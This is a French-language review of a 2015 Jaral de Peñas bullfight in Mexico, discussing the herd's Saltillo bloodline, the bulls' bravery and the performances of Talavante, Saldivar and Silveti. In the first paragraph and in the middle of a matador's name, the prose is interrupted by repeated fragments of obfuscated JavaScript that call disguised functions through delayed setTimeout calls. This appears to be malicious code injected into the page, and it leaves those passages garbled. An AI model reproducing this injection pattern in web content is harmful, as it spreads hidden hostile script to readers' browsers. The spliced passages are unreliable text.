MEXICO 2015 : INTERESSANTE CORRIDA DE JARAL DE PEÑAS

Le problème du toro au Mexique c’est que pratiquement tous les élevages proviennent de la même souche, l’encaste Saltillo, et que celui-ci est très mince, constitué par un nombre limité de bêtes. Une double composante qui empêche le « rafraîchissement » de son grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and réseau d’élevages, environ 300, et par conséquent, sa variabilité génétique. Ainsi, presque tous les toros semblent être le même toro, par leur morphologie et leur comportement. C'est-à-dire, un toro fins de profil, avec de pauvres cornes et une douceur proche du toro manso.

Comment se sont comportés ceux de « Jarales » ? Côté positif il y a eu de la classe, extensive à tous les toros combattus. À cela il faut rajouter la bravoure sans tâches du beau « burraco » sorti troisième et l’élégante noblesse du noir quatrième, qui dura peu suite à la culbute du cheval et l’impossibilité de le lever, qui interrompit la lidia pendant près de 15 minutes. Le combat de tout le lot au cheval fut presque convaincant, car initialement émouvant, mais ensuite compromis car aucun n’accéda à la seconde, soit par manque de race ou par manque de forces. Plus de vigueur aurait-elle corrigé ce manque de race qui déconseillait un châtiment supplémentaire ? Je ne le pense pas, certains toros se réfugiaient près des planches, dont le premier et le second, avant de sentir la pique. Une autre inconnue : le manque de force était-il la conséquence du maniement des toros au campo ou d’origine génétique ? La réponse appartient à l’éleveur. Pour l’aficionado, le comportement des toros fut intéressant et il y en eut deux vraiment braves, ce qui n’est pas si mal par les temps qui courent.

Le trio, Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante, Arturo Saldivar et Diego Silveti, était évidemment attrayant. Talavante se montra habile face à son premier, qui était manso, et brillant face à son second jusqu’au moment où il décida de ne plus charger. Saldivar, vaillant à la cape et mécanique ensuite à la muleta. Et Silveti, héroïque face au brave troisième –il fut pris de façon spectaculaire deux fois- auquel il coupa une oreille même si le toreo ne fut pas à la hauteur de la bravoure, et vulgaire au sixième.

Conclusion : une souche, celle de Domecq, qui amène de la variété dans la tauromachie mexicaine mais qui n’a pas encore confirmé son excellence dans les arènes de la capitale.

 

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